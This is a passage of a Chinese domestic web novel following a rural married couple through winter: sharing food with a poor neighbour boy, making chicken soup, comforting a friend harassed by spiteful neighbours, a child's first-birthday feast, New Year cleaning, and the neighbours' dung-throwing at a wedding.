大黑也在堂屋,羽毛毽子色彩斑斓,它盯着看了好一会儿,脑袋都跟着毽子转,又绕着两人来回走动,差点绊倒顾兰时,顾兰时就撵它到旁边去,不然他要输给裴厌了。 犯了错,大黑老老实实在火盆旁边趴下,没有再上前讨嫌。 毽子踢得太卖力,渐渐有了热意,轮到裴厌踢了,顾兰时倒了半碗热茶在旁边喝。 他放下茶碗,想着坐下歇一歇,大黑忽然爬起来,冲着外面叫。 上回徐启儿来拿钱是下初雪那阵,满打满算,还不到一个月呢,不过这会儿能跑来后山的,应该没有别人了。 院门和篱笆门都关着,他俩往外面走,到菜地中间时,果然听到篱笆门外徐启儿的声音。 “兰哥哥,裴厌哥哥。” “来了来了。”顾兰时喊一声,脚下快了点。 大黑窜出门,围着徐启儿嗅闻,像是不怎么感兴趣,扭头往旁边去了,在附近的地上和树上闻来闻去,最后抬起腿撒尿圈地盘。 顾兰时笑着问道:“是来拿钱?” 徐启儿点点头:“嗯,天冷了,肚里实在没油水,扛不住冷……” 他说话声音越来越小,生怕被骂本来就穷还想吃肉,多少人过年才能吃顿肉。 昨天村里不知谁家炖肉,肉香味都飘到他们家院里了,瑞儿馋的只能嗦手指头,晚上睡觉在梦里哭着喊娘。 他听得心里头不舒坦,才想着今天过来要一钱银子,也不多买,二三两肉够吃两顿解解馋的就行,剩下的钱要好好放起来,买米面粮食这样的正经东西吃。 听完,顾兰时没说什么,转身往里面走,说道:“快进来。” 堂屋里火盆燃着,比外面暖和些,徐启儿站在火盆旁边默默等候。 裴厌进屋取钱去了,顾兰时进了西屋给他抓了两把毛栗子,笑着开口:“这点东西带回去和瑞儿吃。” 他说完想了一下,问道:“家里有蛋没?” 徐启儿双手接住毛栗子,将东西往怀里塞,闻言摇摇头,说:“前两年养了几只鸡,后来被我爹拿去卖了,就再没养过。” 卖掉的钱徐应子要么自己花了要么就拿去赌,想也不会落在他兄弟两人口中,顾兰时心里明白,朝徐启儿招招手,说:“来。” 徐启儿不明所以,还是跟着他进了灶房。 顾兰时从大陶罐里捞了两个咸鸭蛋出来,递过去说:“这是煮熟的,切开就能吃,拿去。” “兰哥哥……”徐启儿有点不敢接。 比起鲜蛋,腌了的咸鸭蛋贵着呢,价钱好时,在镇上一枚能卖七八文。 “自家养的,又不花钱,给你就拿着。”顾兰时往他手里一塞。 裴厌顺着声音走到灶房门口,看见那两枚蛋并没有说什么,对徐启儿说:“这一钱拿了,还有八钱碎银。” “好好。”徐启儿忙不迭接过,上回买的米面其实还没吃完,再有这一钱,论理还能吃许久。 顾兰时说道:“外头风大,也不留你了,要实在太冷,和瑞儿笼盆火,烤烤就能暖和些。” “嗯。”徐启儿小鸡啄米一样不断点头,纵然心中有千恩万谢,却像是堵在嗓子眼里难以表述。 他走之后,裴厌关好了两道门,回来顾兰时正在堂屋踢毽子。 “给了两个咸鸭蛋。”顾兰时用手接住毽子说道,自家的东西给了别人,多少都得跟裴厌说一声。 而且是咸鸭蛋这样的东西,天一冷,鸡鸭都不好好下蛋,一个冬天就那么些,吃完只能等来年开春。 “嗯,给就给了,两个蛋而已。”裴厌不是很在意,他知道如果不是手里有一点钱心里踏实了,顾兰时肯定不会把自家糊口的东西给出去。 听他这么说,顾兰时就放心了,把毽子丢过去,说:“咱俩离远点,你踢给我我踢给你,看能接多少个。” 闲着也是闲着,有人一起玩乐,比独自一人度过寒冬不知强了多少。 * 冬天草木凋敝,除了竹林还残存一片绿意,其他地方都光秃秃的。 上山砍了几回柴去卖,又捡了一次拐枣,因手里有点钱了,捡回来的拐枣晒好后,一些装进小布兜存着,平时没事当零嘴吃,甜甜的,余下的都用来泡了酒。 日子说忙不忙,说清闲也不清闲,总有些事情做,不知不觉,就到了三九寒天,冬天的威严冷峻悉数显现。 一场大雪断断续续下了好几天都不见停,这回顾兰时和裴厌没有把院里的雪铲到外面去,雪下个不停,谁有那个力气干这闲活。 屋里,顾兰时坐在烧热的炕上补衣裳,前几天去山上,袖子被硬茬子树枝挂了一下,洗净后好不容易干了。 裴厌从门外进来,身上落了些雪花,他关好房门,房子偏小点,炕一烧热屋子也有了热意,雪花很快融化成水。 “都弄好了,没塌。”他说着脱掉外裤上了炕,怕挡了顾兰时的光亮,靠着炕尾箱子坐下,用被子盖住腿,一下子就暖和起来。 晌午要出去做饭吃饭,衣裳要是不脱,到时候直接从被子里出来只会更冷。 他刚才去后院把鸡窝和鸭舍上面积压的厚雪推了下来,驴棚猪圈还好,顶棚都很结实,鸡鸭体型小,万一塌了被砸到,很容易死掉。 “嗯。”顾兰时缝好了衣裳,觉得有点手冷,把针线收拾好后,两手放进被窝暖了暖,看着对面的裴厌笑道:“今年过年迟,都进六九了,算一算连一个月都不到,不过到时候肯定没那么冷。” 他把衣裳叠好放在旁边,又说:“过几天也进了腊月,初五得熬五豆,改天雪停了,咱俩去镇上转转,买几样豆子回来。” “除了豆子,今年再买点黄米和莲子,煮腊八粥时放进去。”他想了一下,笑着开口:“咱们今年头一回过年,年前也要吃好,腊八那天,早上吃甜口的腊八粥,下午吃咸口的腊八面,到时候切几样菜丁子,还有肉丁子和黄豆黄米,凑个八样,又好吃又吉利。” “嗯。”裴厌面带笑意,认真听他说话。 顾兰时拿了个枕头竖着靠在身后,又朝对面扔一个,说:“靠箱子上太硬了,垫一垫。” 裴厌照着他的模样舒舒服服靠好,一人半边炕,腿想怎么伸就怎么伸,十分惬意。 顾兰时往下溜了溜,歪靠在炕头,近来没别的事做,总琢磨怎么弄些吃的,冬闲正是养身体的时候。 “想不想吃炖鸡,咱们还有毛栗子呢,到时候一起炖汤,肉好吃汤又好喝。”他说完又犯了愁:“可咱们养的小母鸡年纪还小,起码能下两三年鸡蛋,这会儿杀了,实在不值得。” 裴厌想了下,说:“要不我去村里问问,谁家卖鸡,买一只回来不就行了。” 这样的话就要花钱,顾兰时有点犹豫。 裴厌笑一下,不用说他都知道夫郎怎么想的,说道:“不过三四十文,吃进自己肚里,有什么值不值得的。” 顾兰时总算笑了,说:“那好,等雪小一点,咱俩就过去打听打听,看谁家卖鸡。” 冬天日子不好过,总有卖鸡卖鸭弄一点钱的人。 最近经常吃猪肉,菜也用熬出来的猪油炒,连肉骨头也炖了好几次,吃得两人胃暖身上暖。 人总是贪心的,吃惯了一样就想吃另一样换换口。 其实之前上山砍柴时,裴厌又挖到一个蛇窝,这回运气没上次好,七条蛇都是没毒的。 没毒的蛇蛇胆依旧能入药,只是没有金环蛇蝮蛇那么名贵值钱。 裴厌当时问他要不要吃蛇肉,他实在太怕这东西,连忙摇头拒绝了,裴厌便带着蛇到镇上药铺换了一钱多碎银回来。 这会儿想想,就当用卖蛇钱换了一只鸡。 * 听见风声小了,两人穿好衣裳下炕,顾兰时从炕褥底下摸出钥匙,说:“先回家看看,不过娘养的母鸡是去年的小鸡,老鸡已经卖的差不多了,留了一只是给二嫂吃的,当初大嫂生顾安的时候,她给了一只老母鸡,这回二嫂坐月子,肯定不能不给,咱俩先回去,不行问问隔壁桂花婶子。” “行。”裴厌拿了钱揣进怀里。 顾兰时往外走,说:“今天没买到也不要紧,就当过去串门子了,下了这几天雪,咱俩都没出门。” 外头雪势小了,零星几片雪花飘下来,踩着厚厚的雪地一边走一边玩耍扔雪球,乐得一点都不觉得冷。 等到了家以后,他爹娘几人正在堂屋烤火吃地薯,见他俩来了,连忙从盆里刨出来两个。 热乎乎的地薯带着甜味,顾兰时吃完才出口问,果然那只老母鸡是给李月留的,他便说等会儿去四邻家问问。 苗秋莲伸手烤着火,说道:“对了,我听梅哥儿他娘说,给他踅摸了一门亲事,不出意外的话,过几天媒人回了话,估计就要相看了。” 顾兰时一愣,不过想想也是,梅哥儿只比他小一岁,今年定了亲,明年成亲时,也有十七岁了,他问道:“娘,你知道是哪个村的不?” 苗秋莲说:“听你金凤婶子说,是马家村那边的。” 她顿一下,叹道:“虽然家里也贫寒,不过人老实,这也足够了。“ 顾兰时明白她的话,李家家境不好,一家子也都老实,只能找个门当户对的。 苗秋莲愤愤道:“梅哥儿他们倒霉,摊上那么个邻居,天杀的赵家,知道你金凤婶子给梅哥儿找了个婆家,看不惯呢,昨儿还和梅哥儿他爹娘吵了一架发作。” “那一家嘴毒心也毒,看不惯比他们穷的过上好日子,梅哥儿亲事还没定呢,就恨成这样,昨天吵完以后,村里多少人都骂姓赵的一家子。” 顾兰时和李梅关系好,对此自然生气,骂道:“狗眼看人低的东西,比他们富的,他们巴巴儿高攀,比他们穷的,恨不得踩进泥里去,真是天打雷劈。” 想到梅哥儿性子懦弱,好不容易有了门亲事,又被赵家欺负,他起身说道:“我去李家看看。” “去吧,问问也好。”苗秋莲说道,他俩从小到大的交情,过去开解开解也好。 顾兰时又对裴厌说:“你在家里玩一阵,我要是没回来,过去喊喊,等会儿还要回去做饭呢。” “嗯。”裴厌认真点头,头一回得这种差事,他有点新奇又有点高兴。 第99章 大雪下了这几天,地上屋顶上,到处都是厚厚一层积雪,附近几个村子的人家门前都爱种柿子树,树上也都是雪。 顾兰时往梅哥儿家里走,听到一声轻响,往前看去一根细树枝被压塌掉了下来。 路上有不少凌乱的脚印,这会儿却没出门的,经过孙安家门口时,他家大黄狗跑了出来,一看是熟人,大黄狗没有乱叫。 梅哥儿家院门半掩着,没有上锁,顾兰时站在门口朝里面喊:“梅哥儿。” 听到里头答应一声,他这才推门进去。 方小枝正在灶房忙碌,腰上系着襜衣,见是他,连忙说道:“是兰哥儿啊,梅哥儿在屋里呢。” “知道了婶子。”顾兰时笑着答应一句,李家堂屋没人,能听到东边主屋有动静,他没胡乱打量,往西边房子走去,还没推门,李梅就从里面打开了。 “兰时,快进来。”李梅等他进屋后,又关好了门,省得冷风吹进来,他略显苍白的脸上露出个笑,说:“天冷,快上炕。” 顾兰时和他很熟悉,坐在炕边脱了鞋,挪腿上去用被子盖住小腿和脚,看一眼梅哥儿不怎么好看的脸色,说道:“听我娘说,你快定亲了,这不闲着没事,过来看看。” 梅哥儿勉强笑了一下,他搬来小炕桌,又倒了两碗热茶,坐上来后才低声开口:“是快定了,等过几天雪停了,挑个好日子就要相看。” 顾兰时没敢问他赵家的事,两人絮叨一阵,不过是几句关于相看的事宜。 顿了一顿,李梅最终没忍住,说道:“你是不是知道了?” “嗯。”顾兰时答应道。 李梅满肚子委屈没地儿讲,终于有个同龄人在跟前,他实在难受,打开话匣子倾诉起来:“昨儿方翠柳在我家门口骂起来,硬赖我们掰了他家门前的树枝,说都掉在地上了,不是我们使坏还能是谁使坏,可那明明是大雪压断的,也不过是三两根细枝,又不是结柿子的大头。” “还有他家那个老不死的,说、说我是克夫倒霉命,嫁出去也得家离子散。”他说到这儿有点哽咽,低头吸了吸鼻子才继续道:“哪有这样恶毒的话,我娘气不过,和他们在门口骂起来,可哪里是他们一家恶毒东西的对手,差点要动手打我娘,我爹去劝,赵金通兄弟俩摩拳擦掌的,摆架势要打我爹,好在几个叔叔婶子出来劝,他们才没动手。” “真是丧尽天良!”顾兰时愤愤不平,平时梅哥儿说话都不敢大声,这会儿能用老不死来称呼赵老夫郎,显然是气狠了。 李梅低头默默掉眼泪,时而用手帕擦一下。 顾兰时连忙安慰他:“别看他们现在耀武扬威的,造的孽多了,总有一天遭殃倒大霉,老不死的还骂别人,先不看看他自己,早早就死了汉子,也不知克夫的是谁。” “他和姓李的老不死,头先不是还在背后这么骂我,什么克夫倒霉,满村就数他俩嘴里没好话,这都是大伙儿都知道的。” “你放心,这都是他俩黑了心肝嘴里乱扯,胡说的话,自然做不得数,你成亲以后,日子肯定越过越好,气死这些个眼红的老东西。” “嗯。”李梅声音闷闷的,跟着骂了一句:“老不死的,气死他们不偿命。” 说完还觉得不够,又骂了一阵,心中这才舒坦了些。 开解过后,顾兰时见他不再郁郁寡欢,笑着问道:“忘了问你,嫁衣布料什么的,这些可都商量好了?” 李梅说道:“金凤婶子提了,那边答应,要是相看好了,他们买布送来,我娘说,不拘什么布料,只要染红了能做喜服就好。” 顾兰时点点头,这样就好,李家省了一点钱,镇上布庄铺子卖的红布有点贵,乡下不少人都是扯点好的素料子,回家自己染色。 马家村那边要是能扯得起布料,想来也不会太过穷苦。 “绣线这些备好了没,还有鸳鸯枕呢。”顾兰时又问道。 李梅点着头说:“上回杂货郎过来,我娘就买了些,如今已绣了几针。” 他说着就从炕里取了针线篮子,把东西拿出来给顾兰时看。 闲聊一阵,忽然听到灶房里炒菜的声音,顾兰时说道:“没成想这就到饭时了,我也该回去做饭。” 话音还没落,就听到外头裴厌喊了一声婶子,他登时露出笑容,掀开被子坐在炕边穿棉鞋。 李梅也下来了,小声说:“他来喊你回去?” “嗯。”顾兰时笑眯眯的,说道:“我怕咱俩聊忘了时辰,随口嘱咐了一句,还真来了。” 想着李梅还没出阁,裴厌是个外姓汉子,他开口道:“不用送了,外头冷,你穿得单薄,我俩这就走了。” 李梅点点头:“好,路上走慢些,雪厚。” 还没走到堂屋,裴厌就看见顾兰时出来了,他脸上带了一点笑意,说:“快到饭时了。” “嗯,这就回去。”顾兰时说着,朝灶房里喊道:“婶子,我俩回去了。” “好好。”方小枝正在炒菜,锅底有火抽不开身,只能连声答应。 出来后,顾兰时顺便给他家带上了院门,边走边说:“在家和狗儿他们耍什么了?” 裴厌笑道:“也没做什么,院里全是雪,说一阵闲话,然后我俩去了桂花婶子家,他家刚好有只想卖的老母鸡,我已经掏了钱,三十五文,等会儿路过时去拿。” “还挺便宜。”顾兰时随口说道。 裴厌开口道:“嗯,一开始说是三十八文,平叔又说不用他们往镇上跑,就抹了那三文。” “鸡不算瘦,够炖一锅的,刚才我喊岳母他们下午过去吃。”裴厌又说道。 顾兰时笑着开口:“娘肯定说不用不用。” 裴厌露出个笑,说:“是这样,等下午你再喊一遍。” 买鸡的事既然家里都知道了,哪有自己吃独食的道理,不招呼一声,实在太吝啬。 顾兰时踩着雪,想了一下说:“雪挺厚的,我还想给阿奶端一碗,爹娘他们肯定三推四阻的,不愿过去,到时也给他们端一碗,省得一遍遍喊了,各自在家里吃也安分清净。” “这样好。”裴厌赞同道。 说话间就到了周平家门口,裴厌去拿鸡,顾兰时站在自家门前朝里面喊:“娘,我俩先回去了。” 苗秋莲在灶房切菜,听见动静也没出来,高声喊道:“好,快回去罢,天冷,地上全是雪,别在外头乱跑。” “知道了娘。”顾兰时答应一声,见周平送裴厌出来,他笑着喊了声。 村里不少人家烟囱里都冒了炊烟,他俩没多停留,抓着老母鸡回家做饭去了,晌午这一顿来不及炖鸡汤,只能留到下午。 * 雪花又飘起来,天色也有点暗。 院子里,大黑踩着雪走来走去,时而甩甩尾巴,闻到喷香的鸡汤味道后,它呜呜叫了两声,走到灶房门口蹲坐着,棕色的眼睛流露出一丝渴望,眼巴巴瞅着顾兰时。 裴厌将灶底改为小火,顾兰时先揭开蒸米饭的大锅,夹了一筷子米尝,米饭软硬正好,一粒粒洁白软糯,这是今年的新米,吃起来又香又糯,特意蒸的多,明天早上热一热,直接用鸡汤泡着吃,早食就有了。 他用大勺推开鸡汤锅的锅盖,白汽四溢,他挥手扇了扇,低眉一看,鸡汤正咕嘟咕嘟翻滚,汤色金黄鲜亮,滚动的汤水中有几颗红枣浮着,还有剥好的栗子肉,一颗颗已经炖熟了。 顾兰时舀了一点汤尝咸淡,抿一抿笑道:“正合适。” 闻言裴厌不再往灶底添大柴,开口道:“不如这会儿就送去,回来咱俩再吃。” “好。”顾兰时答应着,拿了两个碗过来。 这只老母鸡挺肥的,肉块剁了不少,再加上毛栗子,加水直接炖了半锅。 两碗舀好后,顾兰时没忍住,舀了半勺汤吹一吹,自己喝一口又把大勺递给裴厌,让他尝尝。 不知道是不是花了钱的缘故,裴厌喝完勺里的鸡汤,只觉比山上那些野鸡山鸡炖出来的好喝。 他轻咂一下舌回味,心想兴许是家养的鸡没有放开,圈着养了两三年,肥油比那些野味要多,炖出来自然更好喝。 见外面雪花大了,他放下大勺,说:“我去送吧,两碗鸡汤而已,何必两个人。” “行,你路上慢些。”顾兰时把碗放进竹篮里,又盖上一块干净布。 裴厌提了竹篮往外走,大黑闻到肉味,跟着他往外走了一段,见没有喂自己的意思,它嘤嘤叫了两声,又跑回灶房门口盯着顾兰时。 老母鸡汤确实好喝,顾兰时站在灶台边给自己捞了两块鸡肉,一抬头就看见大黑眼巴巴瞅着自己。 还会卖可怜了。 他笑了下,捏起一块鸡肉丢向了门口,大黑一个抬头接住,跟吞一样就下了肚。 这两块鸡肉恰好都没骨头,他自己吃一块,香的闭上眼睛嚼。 之前打的山鸡野鸡都会分大黑一些肉吃,可今天的肥母鸡是花了钱的,又舀出去两碗,大黑尝一块也足够了,等会儿用鸡汤给它泡点糙馒头就行。 另一边,裴厌先给苗秋莲送了碗鸡汤,也没停留,又往祖宅走。 方红花正坐在炕上吃饭,冬天冷,黑的又早,她早早吃完也就歇下了。 忽然听见外头有人喊阿奶,她还没听清是谁,只喊道:“哎,在屋里呢,快进来。” 裴厌进来一看,笑道:“阿奶,兰时让我送碗鸡汤过来,刚出锅的,还热着。” “哎呦,这大冷天的,外头雪那么厚,难为你跑这一趟。”方红花要下炕,不想裴厌动作快,掀开布就给她放上了炕桌。 “不要紧,阿奶,我先回去了,兰时还等着吃饭呢,你也别下来了,快趁热吃,凉了就不好。”裴厌说完,同样没有多留,路过灶房时,又对正做饭的大堂嫂道一声,这才离开。 方红花一看碗里鸡汤黄亮,还有红枣和不少栗子,喜得什么似的,也就他们兰哥儿这么惦记自己了,大雪天还让姑爷送鸡汤过来。 刚尝了一口汤,何水儿抱着刚两岁的孩子走进来,笑吟吟的,瞧见了桌上那碗鸡汤,说道:“阿奶,兰哥儿可真孝顺,这鸡汤闻着就香。” 她平时除了嘴馋,倒也没别的,只是每每方红花得了点孝敬,她总想法儿弄几口,回回不落,本想是自己孙子媳妇,吃也就吃了,谁想竟惯出了点毛病。 上次顾兰时二姑妈给拿了一小包冰糖,她想吃也不问一声,直接上手去拆油纸包,自己吃一块,给两个儿子嘴里也一人塞一块。 一小包冰糖能有多少,她母子三个就吃了三块,惹得方红花十分恼火。 方红花眼皮耷拉着,端起碗喝一口热乎乎的鸡汤,随后才说道:“是比这些孙子都孝顺,好歹常常给我送菜送吃的,也不惦记我这点东西,这么多孙子孙女,只有他和厌小子没从我手里抠过东西。” 她说完不再言语,自顾自吃饭。 何水儿被说的有点窘迫,却也没走,怀里儿子虽然只有两岁,但已经知道鸡鸭鱼这些都能吃,伸出一根小手指着鸡汤碗说:“肉、肉。” 方红花照样没搭理曾孙,孩子小,馋嘴还能说得通,无论冰糖还是鸡汤,她都愿意给曾孙吃点,可何水儿之前总拿两个孩子当借口,如今再让她得一回东西,以后只会更惦记。 房间里有点安静,何水儿始终没等来发话,连小儿子都不好使了,只得讪讪抱着孩子离开。 第100章 回去的路上,雪花渐渐又大了,簌簌飘落在地,天本来就黑得早,这会儿阴云厚重,越发暗沉。 裴厌进门之后,顾兰时迫不及待舀了一大碗鸡肉和鸡汤,栗子红枣也没忘记,热腾腾端上桌。 雪沫子被风吹进来,裴厌关上堂屋门。 桌上两碗米饭一大碗鸡汤,杯盏碗碟虽少,对他俩来说却十分丰盛。 大黑也在堂屋里,顾兰时给它用鸡汤泡了糙馒头块,省得人吃饭时它在桌子旁绕来绕去。 顾兰时拿起筷子,眼睛都是亮的,说:“快吃,一会儿凉了,锅里还有呢,没敢都盛出来。” 美食当前,两人再顾不上说别的话,低头吃肉喝汤,只能听见筷著轻响的动静。 裴厌向来饭量大,这一碗鸡肉和栗子都吃干净后,不用说,他端起碗去灶房又舀了热的回来。 这回做的实在好吃,顾兰时都多吃了一些,到最后一起身,立即感到了肚撑。 他傻笑着乐了两声,这样的饱足感虽然有点难受,可心里很满足,鸡汤鸡肉再新鲜不过,炖熟的栗子带着点甘甜,又吸了鸡汤,吃起来十分糯。 他俩连煮熟的红枣都没放过,锅里只剩下一些汤水,别的东西一干二净。 天色比饭前更暗了,裴厌来灶房帮着干活。 吃了肉,胃里一热,身上也暖乎乎的,见顾兰时甚至两颊微红,他一边添柴烧火一边笑,还是得有肉吃。 * 日子过得很快,一进腊月,村里家家户户都比之前忙碌,小孩掰着手指头数过年,一到过年有糖吃有肉吃,甚至还有新衣裳新鞋子穿,可不都盼着。 到了腊月初八这天,顾兰时早上就熬了腊八粥,快到晌午时,拿了一双新做的虎头鞋,和裴厌锁好门先往家里走。 今天要去二姐顾兰秀家里,去年生的大胖小子也满一岁了,今儿过去吃周岁宴,原本打算的腊八面只能明年再给裴厌做。 乡下人有钱的不说,一般人家只有孩子满月和周岁时才会操持办一两回宴席,以后生辰,讲究些的只在自家吃碗长寿面,哪有什么亲戚送贺礼,一说是怕太娇贵了。 唐家好容易得了这么个金孙孙,怕不好养活,还给取了个贱名叫小牛。 这几天太阳大,雪融化了,到处都是水,不少人家屋檐下都结了冰溜子。 路上泥泞,驴车不好赶,唐家村离得不远,走路去就好。 一进家门,竹哥儿和狗儿已经换上了没补丁的好衣裳,顾兰时一边喊娘一边进了东屋。 苗秋莲正在拾掇东西,见他进来,笑着招招手,说:“看看,昨儿你爹才取回来的。” 她手里托着的帕子上,正是一个平安银锁,锁上刻了几个小字,他不认得,也知道是句吉祥话。 顾兰时接过看了看,笑道:“真漂亮。” 这银锁是他爹和两个哥哥一起出钱给小牛打的,外祖不必说,亲娘舅自然得给外甥弄个好的周岁礼,顾兰玉生馨儿的时候都有,到顾兰秀这里肯定不能落下。 他说完还了回去,苗秋莲仔细用干净手帕包好银锁,问道:“东西都带上了?” 顾兰时点点头:“嗯,带了。” 他缝了一双软底的虎头鞋给小外甥穿。 这是家里之前商量好的,大姐顾兰玉那边给缝一个虎头帽,他娘给做了身小衣裳,从头到脚刚好是一整身。 说着话,顾兰生顾兰河几人进了门,都换上了好一点的衣裳,见人齐了,便不再耽搁,锁好院门,一大家子说说笑笑就出了村。 到唐家以后,顾兰秀早候着了,酒菜一大早也都备好了,因之前办了满月酒,周岁宴只有娘舅这些十分亲近的亲戚过来,人虽少了点,但照样热闹。 唐家人还有唐家一些亲戚看到又是平安银锁又是衣裳的,欢喜的也有,眼酸的也有,顾兰秀那叫一个有面子,抱着孩子脸上笑容都没停过。 成亲大半年,平时太忙,就见过外甥一次,顾兰时放下东西后直奔顾兰秀身前,口中小牛儿小牛儿喊着,拍着手想哄外甥进他怀里。 小胖崽子脸颊肉嘟嘟的,因为人多眼神有点蒙,缩在他娘怀里跟个胖团子一样,冬天冷,穿得衣裳厚,尽管如此,也能想到他圆滚滚藕节一般的小胳膊。 顾兰时哄着小外甥,小牛儿盯着他看一会儿,还真往他怀里凑,他立马喜笑颜开接过,抱着说:“还挺沉,小胳膊小腿也有力气呢。” 苗秋莲原本在和亲家母说话,一转头看到那边几人,笑道:“这大胖小子,不认生。” 见裴厌凑过来,顾兰时说道:“你试试,看他要不要你?” 从没抱过孩子,裴厌有点手足无措,学着顾兰时刚才的模样朝小牛儿拍拍手。 小牛听见声音下意识看向他,谁知突然瘪起嘴巴,一副要哭的模样,顾兰时连忙颠着他哄了两下,还给了二姐。 顾兰秀目睹了刚才的一切,抱过儿子直言道:“嗐,这小子,就不爱汉子抱他,别说你,脾气上来连你二姐夫都不让抱,出了门还专挑人家年轻的媳妇和夫郎让抱他,真是丢他爹的脸。” 唐睿文在旁边哈哈哈笑,好像被骂丢脸的不是他,他儿子确实是这样,跟小人精一样,就爱好看的。 苗秋莲离得远,只能瞪二女儿一眼,这么大的人了,也不看看场合,院里这么多人,嘴上也没个把门的,啥话都能往外说。 她旁边唐家老娘早习惯了儿媳的大大咧咧,得了大胖孙子实在高兴,还帮着说话:“到底年轻,口上没个遮拦,不是什么大事,亲家母,吃茶吃茶。” 顾兰秀这么一说,狗儿几个听见,都忍不住过来逗小牛。 果然,竹哥儿能抱他,狗儿和他大哥二哥动一下他小胳膊,他一点都不愿意,甚至烦了,扭过小脑袋用后脑勺对着众人。 见裴厌面色如常,甚至看着小牛儿还笑了下,顾兰时这才放心,笑眯眯跟二姐进屋给孩子换虎头鞋虎头帽还有新衣裳。 * 离年关越近,要忙的事也越多,尤其一到腊月二十三,每天都有讲究。 天公作美,这段时日没有下雪,太阳渐渐晒干了地面,驴车好跑,去镇上采买很方便。 赶着年关之前,李梅的亲事说成了。 顾兰时听他娘说,那户人家也穷,好不容易能相看一个夫郎,两家还算门当户对,都是老实本分的,家里名声也都不错,没那些幺蛾子乱七八糟的事,就这么定好了。 他还特地去找了李梅,问起这事的时候见对方略带羞涩,就知道相看之后,梅哥儿是满意那个汉子的,便替对方感到高兴。 * 一大早,顾兰时和裴厌起来吃过早食,就开始忙扫舍的事。 昨天去镇上赶集,不止买了灶糖供灶王爷,还买了两个新的大灯笼和一些瓜子花生点心之类的东西。 他俩太年轻,又没孩子,尤其裴厌和裴家断了个干净,没有小辈来拜年。 即便这样,顾兰时还是买了不少过年的吃用,成亲头一年,总不能随便应付。 顾兰时把两口大锅都搬到院里,见大黑过来嗅闻,他一挥手,将狗撵走,随后又进灶房去铲灶底灰烬。 裴厌在东屋外面掏炕洞里的灰土,这是个灰头土脸的差事,不过他干得很起劲,第一次和夫郎过年,家里到处都得拾掇干净。 灶膛里的灰积多了就会铲,不然烧火不旺,顾兰时没一会儿就弄干净了,他提着装草木灰的篮子往后院走,见裴厌一半身子都钻进炕洞里,在外面笑着说:“小心些,里头灰土大,把口鼻蒙住,不然呛了。” 裴厌钻出来后,头上脸上都有灰和土,答应道:“嗯,这就去取。” 他站起来拍拍衣袖上的脏灰,刚才干活时懒怠去拿布,确实蒙住好受些。 顾兰时把草木灰倒在后院土墙下,回到前院也没停,拿了个木铲坐在大锅前铲锅底灰,一边干活一边说:“不是明儿就是后儿,家里会杀猪,咱也不用去镇上了,拿点钱过去,提几斤就足够过年吃的。” 他想了一下,又问道:“今年买鱼么?家里倒是还有几条干鱼。” 河里上了冻还没化开,自己去捞实在太冷,镇上每年过年前会有打渔的合力凿冰下网弄鱼来卖,价钱比平时贵一些。 裴厌将掏出来的灰铲进篮子里,说:“买,买三两条就足够了,鲜鱼到底好吃。” “行。”顾兰时答应一声,如今他俩有点钱在手里,过年也该吃好一点。 他铲着锅底灰在心里盘算家里的各种吃食,忽然意识到寒冬过去一半,这个冬天一点都没饿肚子。 平时除了菘菜和萝卜以外,还有菌子和各种山货干,鱼干肉干也有,隔一两天就换着花样煮干菜干肉吃。 如今西屋里还有好几口袋菜干子,院里埋的萝卜也有,完全够吃两三个月的,等吃完也就到开春暖和了,到时候野菜发上来,照旧不会饿肚子。 心里一高兴,他说道:“明儿提了猪肉回来,咱俩包顿肉饺子吃,再弄个醋碟。” 裴厌拍了拍衣领上的灰,吃肉哪有厌烦的,他连声答应:“好,肉馅多剁一些” “嗯。”顾兰时想起大肉饺子的香,忍不住咽了咽口水,说道:“早点拾掇完,下午我回去问一声,看到底哪天杀猪。” 除了扫舍打扫以外,炕褥被子什么的都要洗,他俩又弄了一身灰,都要换下来洗干净。 赶着晌午太阳大,顾兰时烧了几锅热水洗洗涮涮,裴厌拾掇柴房和前后院,两个人也忙得热火朝天,等弄完以后,天色都晚了。 120-140 第121章 赵家。 院门被踹的晃动不已,方翠柳和赵老夫郎躲在屋里,透过半开的窗子朝外偷看,外头声音这么大,他俩原本嫉恨、愤愤不平的心一下子忐忑起来。 刚才听见隔壁院子里的说笑声,又是让洗菜又是让切肉的,就算人声没别人家那么热闹,也听得他们心里头实在不痛快。 赵老夫郎欺负李家的年头比方翠柳还长,连李河他爹和他阿嬷都骂过,对李梅成亲的事,他斜眼歪鼻子的,一直看不顺眼,天天早上不是在李家门口吐口水就是擤鼻涕。 今儿那边却喜气洋洋的,他心里哪能过得去,于是就到后院弄了一勺粪水,势要搅乱搅乱。 能和李家来往的,都不是村里大姓,多数人是瞧不上李家那副穷酸样的,送礼都拿不出几个像样的东西,人家自然不会跟他们来往。 况且李家和村里人沾亲带故的少,谁会为了他们出头。 他年纪大了,胳膊使不上力气,便不言不语,用眼神示意儿媳方翠柳去泼。 方翠柳心里头窝着火,他家小吉怎么都说不上亲,这还罢了,竟叫比他们穷的李家先有了喜事。 方小枝在方家村的时候就不如她,两人一前一后嫁过来,方小枝更是比不过她,一辈子都得被她压一头,轮到下一辈,方小枝却比她先出头,这哪里能忍。 她躲在墙根下偷听,那边在院里洗菜,还算肉菜有几道,怒气冲上脑门,就什么也顾不得了,接过粪勺就往那边抡。 什么好菜什么好肉,叫他李家人连根毛都吃不到! 赵小志在旁边用袖子擦一把鼻涕,他个头矮,只能踮起脚从窗缝里瞅一眼,见自家院门被踹的摇晃,谩骂声更是不断,吓得他一缩头,躲在他娘和老嬷身后,平常滴溜溜的眼珠子都不敢转了。 他跟赵小吉长得很像,从小跟家里人学的,脾性也大差不差,不过五岁的年纪,却已经会在大人看不到的地方欺负同龄的其他小孩,甚至见了比他大的李保儿都敢朝对方吐口水,就仗着八岁的李保儿打不过他大哥——十六岁的赵小吉。 方翠柳和赵老夫郎对视一眼,心知今天这事恐怕难以收场,婆媳两个不免都有些埋怨对方,一个比一个脸色难看,压根不敢出声,盼望着装作家里没人,外头那些人骂一阵就自己走开。 至于院墙那边的嚎啕大哭声,全被他两人忽略了,根本不惧怕李家人,只担心外头那些被泼到粪水而怒骂不止的。 赵家门口动静这么大,早引来了村里其他人,只要没下地出门的,无论老少都围了过来。 一询问得知赵家朝李家泼粪,连帮忙的人都淋到了,不少人都气得唾骂两句,人家大喜的日子,非得给人家找不痛快,实在是可恶。 一进三月,地里的活又多起来,能留在家里的,多半是老弱妇孺,因此大伙儿只是在门外帮着叫骂。 李河搬了张桌子从西邻家出来,他生性老实木讷,李保儿两只手拿了好几张板凳,两个人看见眼前一幕都有些呆愣。 